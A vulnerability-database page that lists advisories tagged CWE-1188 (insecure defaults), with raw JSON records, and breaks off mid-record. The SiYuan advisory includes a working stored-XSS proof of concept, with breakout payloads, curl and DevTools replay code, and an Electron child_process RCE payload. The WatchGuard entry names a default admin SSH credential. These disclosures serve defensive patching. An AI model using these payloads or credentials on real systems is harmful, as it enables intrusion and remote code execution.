Common Weakness Enumeration

CWE-1188

Allowed

Initialization of a Resource with an Insecure Default

Abstraction: Base · Status: Incomplete

The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

402 vulnerabilities reference this CWE, most recent first.

GHSA-5RJ6-RCRV-5V5P

Vulnerability from github – Published: 2025-04-18 15:31 – Updated: 2025-04-18 15:31
VLAI
Details

Insecure default settings have been found in recorder products provided by Yokogawa Electric Corporation. The default setting of the authentication function is disabled on the affected products. Therefore, when connected to a network with default settings, anyone can access all functions related to settings and operations. As a result, an attacker can illegally manipulate and configure important data such as measured values and settings. This issue affects GX10 / GX20 / GP10 / GP20 Paperless Recorders: R5.04.01 or earlier; GM Data Acquisition System: R5.05.01 or earlier; DX1000 / DX2000 / DX1000N Paperless Recorders: R4.21 or earlier; FX1000 Paperless Recorders: R1.31 or earlier; μR10000 / μR20000 Chart Recorders: R1.51 or earlier; MW100 Data Acquisition Units: All versions; DX1000T / DX2000T Paperless Recorders: All versions; CX1000 / CX2000 Paperless Recorders: All versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-1863"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-18T06:15:42Z",
    "severity": "CRITICAL"
  },
  "details": "Insecure default settings have been found in recorder products provided by Yokogawa Electric Corporation. The default setting of the authentication function is disabled on the affected products. Therefore, when connected to a network with default settings, anyone can access all functions related to settings and operations. As a result, an attacker can illegally manipulate and configure important data such as measured values and settings.\nThis issue affects GX10 / GX20 / GP10 / GP20 Paperless Recorders: R5.04.01 or earlier; GM Data Acquisition System: R5.05.01 or earlier; DX1000 / DX2000 / DX1000N Paperless Recorders: R4.21 or earlier; FX1000 Paperless Recorders: R1.31 or earlier; \u03bcR10000 / \u03bcR20000 Chart Recorders: R1.51 or earlier; MW100 Data Acquisition Units: All versions; DX1000T / DX2000T Paperless Recorders: All versions; CX1000 / CX2000 Paperless Recorders: All versions.",
  "id": "GHSA-5rj6-rcrv-5v5p",
  "modified": "2025-04-18T15:31:37Z",
  "published": "2025-04-18T15:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1863"
    },
    {
      "type": "WEB",
      "url": "https://web-material3.yokogawa.com/1/36974/files/YSAR-25-0001-E.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5XFX-XJ4H-5P7R

Vulnerability from github – Published: 2026-07-10 19:34 – Updated: 2026-07-10 19:34
VLAI
Summary
SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()
Details

Summary

The attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.

The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261.

Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.

Details

Affected:

  • HEAD 96dfe0b (v3.6.5, 2026-04-21)
  • Renderer sink: app/src/protyle/render/av/blockAttr.ts:68, genAVValueHTML(). The text, url, phone, and mAsset branches interpolate cell content raw.
  • Callsites piping genAVValueHTML into innerHTML: select.ts:124,229,346, cell.ts:791,913,1198, col.ts:455,656,1256, filter.ts:199,471,609,702, groups.ts:56,289,328,378, and blockAttr.ts:212.
  • Source: cell values returned by /api/av/getAttributeView. Backing store: data/storage/av/<avID>.json.
  • Write path: kernel/model/attribute_view.go, updateAttributeViewValue and (*Transaction).doUpdateAttrViewCell. No call to html.EscapeAttrVal, html.EscapeString, or util.EscapeHTML anywhere in the file.
  • Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322.

The sink

app/src/protyle/render/av/blockAttr.ts:68, with the unsafe branches highlighted:

export const genAVValueHTML = (value: IAVCellValue) => {
  let html = "";
  switch (value.type) {
    case "block":
      // escaped via escapeAttr — safe
      html = `<input ... value="${escapeAttr(value.block.content)}" ...>`;
      break;
    case "text":
      // value.text.content goes raw into a <textarea>
      html = `<textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>`;
      break;
    case "url":
      // value.url.content goes raw into value="..." and href="..."
      html = `<input value="${value.url.content}" ...>
              <a ${value.url.content ? `href="${value.url.content}"` : ""} ...>`;
      break;
    case "phone":
      // same pattern as url
      html = `<input value="${value.phone.content}" ...>
              <a ${value.phone.content ? `href="tel:${value.phone.content}"` : ""} ...>`;
      break;
    case "mAsset":
      value.mAsset?.forEach(item => {
        if (item.type === "image") {
          // item.content raw inside aria-label
          html += `<img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">`;
        } else {
          // attributes escaped, but ${item.name || item.content} text-node is raw
          html += `<span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`;
        }
      });
      break;
    // other cases use escapeHtml / escapeAttr correctly
  }
  return html;
};

escapeHtml and escapeAttr already exist and are used in the block, select, and mSelect cases. They just aren't applied in the four branches above.

Callers assign the result to innerHTML. Example, app/src/protyle/render/av/select.ts:124:

if (item.classList.contains("custom-attr__avvalue")) {
    item.innerHTML = genAVValueHTML(cellValue);
}

The write path

A grep for any HTML-escape call in kernel/model/attribute_view.go returns nothing:

grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attribute_view.go
# (no output)

For comparison, the block-IAL write path at kernel/model/blockial.go:261 applies html.EscapeAttrVal(value). The AV cell write path is missing the equivalent.

Storage and sync

AV files live at data/storage/av/<avID>.json and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.

Suggested fix

The renderer-side fix is the more important one. escapeHtml and escapeAttr already exist in blockAttr.ts and already protect the block, select, and mSelect branches. Extend them to the rest of genAVValueHTML:

case "text":
  html = `<textarea ...>${escapeHtml(value.text?.content || "")}</textarea>`;
  break;
case "url":
  html = `<input value="${escapeAttr(value.url.content)}" ...>
          <a ${value.url.content ? `href="${escapeAttr(value.url.content)}"` : ""} ...>`;
  break;
case "phone":
  html = `<input value="${escapeAttr(value.phone.content)}" ...>
          <a ${value.phone.content ? `href="tel:${escapeAttr(value.phone.content)}"` : ""} ...>`;
  break;
case "mAsset":
  // escape item.name and item.content in the text-node positions, not just inside attributes

The mAsset image branch also interpolates item.content into the src attribute via getCompressURL. Worth rejecting javascript: and data: schemes for asset URLs while you're in there.

Backend side, defense in depth: in kernel/model/attribute_view.go:updateAttributeViewValue, call html.EscapeAttrVal(content) on the string-content cell types before persisting. This mirrors the existing protection in kernel/model/blockial.go:261. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.

PoC

Stand up SiYuan and drop a malicious AV file at workspace/data/storage/av/poc.json:

docker run -d --name siyuan-poc \
  -v ./workspace:/siyuan/workspace \
  -p 16806:6806 \
  b3log/siyuan:latest \
  --workspace=/siyuan/workspace --accessAuthCode=hunter2

Minimum viable AV JSON:

{
  "spec": 2,
  "id": "20260519999999-poctest",
  "name": "PocAV",
  "keyValues": [
    {
      "key": {"id": "...keyblok", "name": "Block", "type": "block"},
      "values": [{
        "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
        "type": "block", "isDetached": true,
        "block": {"id": "...row1blk", "content": "Row 1"}
      }]
    },
    {
      "key": {"id": "...keytext", "name": "TextField", "type": "text"},
      "values": [{
        "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
        "type": "text",
        "text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"}
      }]
    },
    {
      "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
      "values": [{
        "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
        "type": "url",
        "url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"}
      }]
    }
  ]
}

In a real attack the file gets there via sync, not by hand.

Confirm the API returns the cell content raw:

TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)

curl -s -X POST http://localhost:16806/api/av/getAttributeView \
  -H "Authorization: Token $TOKEN" \
  -d '{"id":"20260519999999-poctest"}' \
  | python3 -m json.tool | grep -E '"content":'

Output from my run on 2026-05-19:

"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"
"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"

</textarea> and "> come back literal, no escape.

In the Siyuan renderer's DevTools:

const res = await fetch('/api/av/getAttributeView', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: '20260519999999-poctest'})
});
const json = await res.json();

let textValue = null, urlValue = null;
for (const kv of json.data.av.keyValues) {
  for (const v of kv.values || []) {
    if (v.type === 'text' && v.text) textValue = v;
    if (v.type === 'url' && v.url) urlValue = v;
  }
}

// Replay the actual genAVValueHTML branches verbatim.
const textHTML = `<textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>`;
const urlHTML  = `<input value="${urlValue.url.content}">`;

const div = document.createElement('div');
div.innerHTML = textHTML + urlHTML;

await new Promise(r => setTimeout(r, 250));

console.log({
  textMarkerFired: window.__siyuan_av_xss === 'FIRED',
  urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED',
  imgsInDiv: div.querySelectorAll('img').length,
  title: document.title
});

Output from my run:

{
  "textMarkerFired": true,
  "urlMarkerFired": true,
  "imgsInDiv": 3,
  "title": "AV_TEXT_XSS_OK"
}

</textarea> and "> both broke out, the smuggled <img> elements ran their onerror handlers, the marker variables got set, document.title got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.

To turn it into RCE on Electron, swap the marker payload for:

<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.

Impact

Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.

The payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.

Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/av/updateAttrViewCell. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260628153353-2d5d72223df4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:34:53Z",
    "nvd_published_at": "2026-06-24T22:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe attribute-view (database) cell renderer `genAVValueHTML` interpolates cell content raw in four of its branches: `text`, `url`, `phone`, and `mAsset`. A cell value like `\u003c/textarea\u003e\u003cimg src=x onerror=\"...\"\u003e` or `\"\u003e\u003cimg src=x onerror=\"...\"\u003e` breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with `nodeIntegration:true`, so the XSS chains to host RCE via `require(\u0027child_process\u0027)`. AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.\n\nThe kernel doesn\u0027t escape on the way in either, so the malicious cell persists byte-for-byte. There\u0027s no equivalent of the `html.EscapeAttrVal` call that protects block IAL attributes at `kernel/model/blockial.go:261`.\n\nCompanion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.\n\n### Details\n\nAffected:\n\n- HEAD `96dfe0b` (v3.6.5, 2026-04-21)\n- Renderer sink: `app/src/protyle/render/av/blockAttr.ts:68`, `genAVValueHTML()`. The text, url, phone, and mAsset branches interpolate cell content raw.\n- Callsites piping `genAVValueHTML` into `innerHTML`: `select.ts:124,229,346`, `cell.ts:791,913,1198`, `col.ts:455,656,1256`, `filter.ts:199,471,609,702`, `groups.ts:56,289,328,378`, and `blockAttr.ts:212`.\n- Source: cell values returned by `/api/av/getAttributeView`. Backing store: `data/storage/av/\u003cavID\u003e.json`.\n- Write path: `kernel/model/attribute_view.go`, `updateAttributeViewValue` and `(*Transaction).doUpdateAttrViewCell`. No call to `html.EscapeAttrVal`, `html.EscapeString`, or `util.EscapeHTML` anywhere in the file.\n- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`.\n\n#### The sink\n\n`app/src/protyle/render/av/blockAttr.ts:68`, with the unsafe branches highlighted:\n\n```ts\nexport const genAVValueHTML = (value: IAVCellValue) =\u003e {\n  let html = \"\";\n  switch (value.type) {\n    case \"block\":\n      // escaped via escapeAttr \u2014 safe\n      html = `\u003cinput ... value=\"${escapeAttr(value.block.content)}\" ...\u003e`;\n      break;\n    case \"text\":\n      // value.text.content goes raw into a \u003ctextarea\u003e\n      html = `\u003ctextarea ... rows=\"${(value.text?.content || \"\").split(\"\\n\").length}\" ...\u003e${value.text?.content || \"\"}\u003c/textarea\u003e`;\n      break;\n    case \"url\":\n      // value.url.content goes raw into value=\"...\" and href=\"...\"\n      html = `\u003cinput value=\"${value.url.content}\" ...\u003e\n              \u003ca ${value.url.content ? `href=\"${value.url.content}\"` : \"\"} ...\u003e`;\n      break;\n    case \"phone\":\n      // same pattern as url\n      html = `\u003cinput value=\"${value.phone.content}\" ...\u003e\n              \u003ca ${value.phone.content ? `href=\"tel:${value.phone.content}\"` : \"\"} ...\u003e`;\n      break;\n    case \"mAsset\":\n      value.mAsset?.forEach(item =\u003e {\n        if (item.type === \"image\") {\n          // item.content raw inside aria-label\n          html += `\u003cimg ... aria-label=\"${item.content}\" src=\"${getCompressURL(item.content)}\"\u003e`;\n        } else {\n          // attributes escaped, but ${item.name || item.content} text-node is raw\n          html += `\u003cspan ... aria-label=\"${escapeAttr(item.content)}\" data-name=\"${escapeAttr(item.name)}\" data-url=\"${escapeAttr(item.content)}\"\u003e${item.name || item.content}\u003c/span\u003e`;\n        }\n      });\n      break;\n    // other cases use escapeHtml / escapeAttr correctly\n  }\n  return html;\n};\n```\n\n`escapeHtml` and `escapeAttr` already exist and are used in the `block`, `select`, and `mSelect` cases. They just aren\u0027t applied in the four branches above.\n\nCallers assign the result to `innerHTML`. Example, `app/src/protyle/render/av/select.ts:124`:\n\n```ts\nif (item.classList.contains(\"custom-attr__avvalue\")) {\n    item.innerHTML = genAVValueHTML(cellValue);\n}\n```\n\n#### The write path\n\nA grep for any HTML-escape call in `kernel/model/attribute_view.go` returns nothing:\n\n```\ngrep -n \u0027html.Escape\\|EscapeHTML\\|EscapeString\u0027 kernel/model/attribute_view.go\n# (no output)\n```\n\nFor comparison, the block-IAL write path at `kernel/model/blockial.go:261` applies `html.EscapeAttrVal(value)`. The AV cell write path is missing the equivalent.\n\n#### Storage and sync\n\nAV files live at `data/storage/av/\u003cavID\u003e.json` and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.\n\n#### Suggested fix\n\nThe renderer-side fix is the more important one. `escapeHtml` and `escapeAttr` already exist in `blockAttr.ts` and already protect the `block`, `select`, and `mSelect` branches. Extend them to the rest of `genAVValueHTML`:\n\n```ts\ncase \"text\":\n  html = `\u003ctextarea ...\u003e${escapeHtml(value.text?.content || \"\")}\u003c/textarea\u003e`;\n  break;\ncase \"url\":\n  html = `\u003cinput value=\"${escapeAttr(value.url.content)}\" ...\u003e\n          \u003ca ${value.url.content ? `href=\"${escapeAttr(value.url.content)}\"` : \"\"} ...\u003e`;\n  break;\ncase \"phone\":\n  html = `\u003cinput value=\"${escapeAttr(value.phone.content)}\" ...\u003e\n          \u003ca ${value.phone.content ? `href=\"tel:${escapeAttr(value.phone.content)}\"` : \"\"} ...\u003e`;\n  break;\ncase \"mAsset\":\n  // escape item.name and item.content in the text-node positions, not just inside attributes\n```\n\nThe `mAsset` image branch also interpolates `item.content` into the `src` attribute via `getCompressURL`. Worth rejecting `javascript:` and `data:` schemes for asset URLs while you\u0027re in there.\n\nBackend side, defense in depth: in `kernel/model/attribute_view.go:updateAttributeViewValue`, call `html.EscapeAttrVal(content)` on the string-content cell types before persisting. This mirrors the existing protection in `kernel/model/blockial.go:261`. The renderer fix matters more because the backend fix doesn\u0027t retroactively neutralize payloads already sitting in synced workspaces.\n\n### PoC\n\nStand up SiYuan and drop a malicious AV file at `workspace/data/storage/av/poc.json`:\n\n```bash\ndocker run -d --name siyuan-poc \\\n  -v ./workspace:/siyuan/workspace \\\n  -p 16806:6806 \\\n  b3log/siyuan:latest \\\n  --workspace=/siyuan/workspace --accessAuthCode=hunter2\n```\n\nMinimum viable AV JSON:\n\n```json\n{\n  \"spec\": 2,\n  \"id\": \"20260519999999-poctest\",\n  \"name\": \"PocAV\",\n  \"keyValues\": [\n    {\n      \"key\": {\"id\": \"...keyblok\", \"name\": \"Block\", \"type\": \"block\"},\n      \"values\": [{\n        \"id\": \"...row1blk\", \"keyID\": \"...keyblok\", \"blockID\": \"...row1blk\",\n        \"type\": \"block\", \"isDetached\": true,\n        \"block\": {\"id\": \"...row1blk\", \"content\": \"Row 1\"}\n      }]\n    },\n    {\n      \"key\": {\"id\": \"...keytext\", \"name\": \"TextField\", \"type\": \"text\"},\n      \"values\": [{\n        \"id\": \"...celltxt\", \"keyID\": \"...keytext\", \"blockID\": \"...row1blk\",\n        \"type\": \"text\",\n        \"text\": {\"content\": \"\u003c/textarea\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_xss=\u0027FIRED\u0027\\\"\u003e\"}\n      }]\n    },\n    {\n      \"key\": {\"id\": \"...keyurl0\", \"name\": \"UrlField\", \"type\": \"url\"},\n      \"values\": [{\n        \"id\": \"...cellurl\", \"keyID\": \"...keyurl0\", \"blockID\": \"...row1blk\",\n        \"type\": \"url\",\n        \"url\": {\"content\": \"\\\"\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_url_xss=\u0027FIRED\u0027\\\"\u003e\"}\n      }]\n    }\n  ]\n}\n```\n\nIn a real attack the file gets there via sync, not by hand.\n\nConfirm the API returns the cell content raw:\n\n```bash\nTOKEN=$(jq -r \u0027.api.token\u0027 workspace/conf/conf.json)\n\ncurl -s -X POST http://localhost:16806/api/av/getAttributeView \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -d \u0027{\"id\":\"20260519999999-poctest\"}\u0027 \\\n  | python3 -m json.tool | grep -E \u0027\"content\":\u0027\n```\n\nOutput from my run on 2026-05-19:\n\n```\n\"content\": \"\u003c/textarea\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_xss=\u0027FIRED\u0027\\\"\u003e\"\n\"content\": \"\\\"\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_url_xss=\u0027FIRED\u0027\\\"\u003e\"\n```\n\n`\u003c/textarea\u003e` and `\"\u003e` come back literal, no escape.\n\nIn the Siyuan renderer\u0027s DevTools:\n\n```js\nconst res = await fetch(\u0027/api/av/getAttributeView\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  body: JSON.stringify({id: \u002720260519999999-poctest\u0027})\n});\nconst json = await res.json();\n\nlet textValue = null, urlValue = null;\nfor (const kv of json.data.av.keyValues) {\n  for (const v of kv.values || []) {\n    if (v.type === \u0027text\u0027 \u0026\u0026 v.text) textValue = v;\n    if (v.type === \u0027url\u0027 \u0026\u0026 v.url) urlValue = v;\n  }\n}\n\n// Replay the actual genAVValueHTML branches verbatim.\nconst textHTML = `\u003ctextarea rows=\"${(textValue.text?.content||\u0027\u0027).split(\u0027\\n\u0027).length}\"\u003e${textValue.text?.content || \u0027\u0027}\u003c/textarea\u003e`;\nconst urlHTML  = `\u003cinput value=\"${urlValue.url.content}\"\u003e`;\n\nconst div = document.createElement(\u0027div\u0027);\ndiv.innerHTML = textHTML + urlHTML;\n\nawait new Promise(r =\u003e setTimeout(r, 250));\n\nconsole.log({\n  textMarkerFired: window.__siyuan_av_xss === \u0027FIRED\u0027,\n  urlMarkerFired: window.__siyuan_av_url_xss === \u0027FIRED\u0027,\n  imgsInDiv: div.querySelectorAll(\u0027img\u0027).length,\n  title: document.title\n});\n```\n\nOutput from my run:\n\n```json\n{\n  \"textMarkerFired\": true,\n  \"urlMarkerFired\": true,\n  \"imgsInDiv\": 3,\n  \"title\": \"AV_TEXT_XSS_OK\"\n}\n```\n\n`\u003c/textarea\u003e` and `\"\u003e` both broke out, the smuggled `\u003cimg\u003e` elements ran their `onerror` handlers, the marker variables got set, `document.title` got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.\n\nTo turn it into RCE on Electron, swap the marker payload for:\n\n```html\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).execSync(\u0027open /Applications/Calculator.app\u0027)\"\u003e\n```\n\n`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.\n\n### Impact\n\nStored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.\n\nThe payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.\n\nAnyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/av/updateAttrViewCell`. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.",
  "id": "GHSA-5xfx-xj4h-5p7r",
  "modified": "2026-07-10T19:34:53Z",
  "published": "2026-07-10T19:34:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54158"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()"
}

GHSA-62JR-84GF-WMG4

Vulnerability from github – Published: 2024-01-16 15:24 – Updated: 2024-02-16 15:30
VLAI
Summary
Default swagger-ui configuration exposes all files in the module
Details

Impact

The default configuration of @fastify/swagger-ui without baseDir set will lead to all files in the module's directory being exposed via http routes served by the module.

Patches

Update to v2.1.0

Workarounds

Use the baseDir option

References

HackerOne report .

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fastify/swagger-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-22207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-16T15:24:41Z",
    "nvd_published_at": "2024-01-15T16:15:13Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe default configuration of `@fastify/swagger-ui` without `baseDir` set will lead to all files in the module\u0027s directory being exposed via http routes served by the module.\n\n### Patches\n\nUpdate to v2.1.0\n\n### Workarounds\n\nUse  the `baseDir` option\n\n### References\n\n[HackerOne report\n](https://hackerone.com/reports/2312369).",
  "id": "GHSA-62jr-84gf-wmg4",
  "modified": "2024-02-16T15:30:26Z",
  "published": "2024-01-16T15:24:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-swagger-ui/security/advisories/GHSA-62jr-84gf-wmg4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22207"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-swagger-ui/commit/13d799a2c5f14d3dd5b15892e03bbcbae63ee6f7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fastify-swagger-ui"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240216-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Default swagger-ui configuration exposes all files in the module"
}

GHSA-63MF-V9CC-6MHM

Vulnerability from github – Published: 2025-11-06 18:32 – Updated: 2025-11-07 15:31
VLAI
Details

The default configuration of WatchGuard Firebox devices through 2025-09-10 allows administrative access via SSH on port 4118 with the readwrite password for the admin account.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-59396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-06T17:15:44Z",
    "severity": "CRITICAL"
  },
  "details": "The default configuration of WatchGuard Firebox devices through 2025-09-10 allows administrative access via SSH on port 4118 with the readwrite password for the admin account.",
  "id": "GHSA-63mf-v9cc-6mhm",
  "modified": "2025-11-07T15:31:29Z",
  "published": "2025-11-06T18:32:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59396"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cyberbyte000/CVE-2025-59396/blob/main/CVE-2025-59396.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.watchguard.com/wgrd-products/firewalls"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-642W-W7F4-7HF9

Vulnerability from github – Published: 2022-05-13 01:09 – Updated: 2025-04-20 03:33
VLAI
Details

An issue was discovered in Schneider Electric Tableau Server/Desktop Versions 7.0 to 10.1.3 in Wonderware Intelligence Versions 2014R3 and prior. These versions contain a system account that is installed by default. The default system account is difficult to configure with non-default credentials after installation, and changing the default credentials in the embedded Tableau Server is not documented. If Tableau Server is used with Windows integrated security (Active Directory), the software is not vulnerable. However, when Tableau Server is used with local authentication mode, the software is vulnerable. The default system account could be used to gain unauthorized access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-5178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-08T08:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Schneider Electric Tableau Server/Desktop Versions 7.0 to 10.1.3 in Wonderware Intelligence Versions 2014R3 and prior. These versions contain a system account that is installed by default. The default system account is difficult to configure with non-default credentials after installation, and changing the default credentials in the embedded Tableau Server is not documented. If Tableau Server is used with Windows integrated security (Active Directory), the software is not vulnerable. However, when Tableau Server is used with local authentication mode, the software is vulnerable. The default system account could be used to gain unauthorized access.",
  "id": "GHSA-642w-w7f4-7hf9",
  "modified": "2025-04-20T03:33:52Z",
  "published": "2022-05-13T01:09:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5178"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-066-01"
    },
    {
      "type": "WEB",
      "url": "http://software.schneider-electric.com/pdf/security-bulletin/lfsec00000119"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96721"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-653W-F3PR-6CV6

Vulnerability from github – Published: 2023-02-23 18:31 – Updated: 2023-03-03 18:30
VLAI
Details

In JetBrains TeamCity before 2022.10.2 jVMTI was enabled by default on agents.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-48342"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-23T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "In JetBrains TeamCity before 2022.10.2 jVMTI was enabled by default on agents.",
